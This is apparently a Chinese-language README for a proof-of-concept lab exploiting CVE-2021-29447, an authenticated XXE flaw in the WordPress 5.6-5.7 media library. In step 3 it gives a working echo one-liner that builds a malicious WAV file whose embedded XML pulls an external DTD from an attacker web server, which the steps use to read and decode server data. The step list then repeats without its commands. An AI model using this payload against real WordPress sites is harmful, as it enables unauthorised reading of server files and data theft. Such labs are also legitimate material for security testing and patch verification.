WordPress 5.6-5.7 - 已认证（作者及以上）XXE (CVE-2021-29447)

使用

步骤1：运行WordPress

$ make up-wp

步骤2：运行攻击者Web服务器

$ make up-mal

步骤3：生成恶意WAV文件

不使用wavefile npm（推荐）

$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://host.docker.internal:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

使用wavefile npm

$ make make-wav

步骤4：登录WordPress并将WAV文件上传至新媒体

步骤5：解码

参考资料

WordPress 5.6-5.7 - 媒体库中已认证XXE影响PHP 8安全漏洞

CVE-2021-29447

最受欢迎

WordPress 5.6-5.7 - 已认证（作者及以上）XXE (CVE-2021-29447)

使用

步骤1：运行WordPress

步骤2：运行攻击者Web服务器

步骤3：生成恶意WAV文件

不使用wavefile npm（推荐）

使用wavefile npm

步骤4：登录WordPress并将WAV文件上传至新媒体

步骤5：解码

参考资料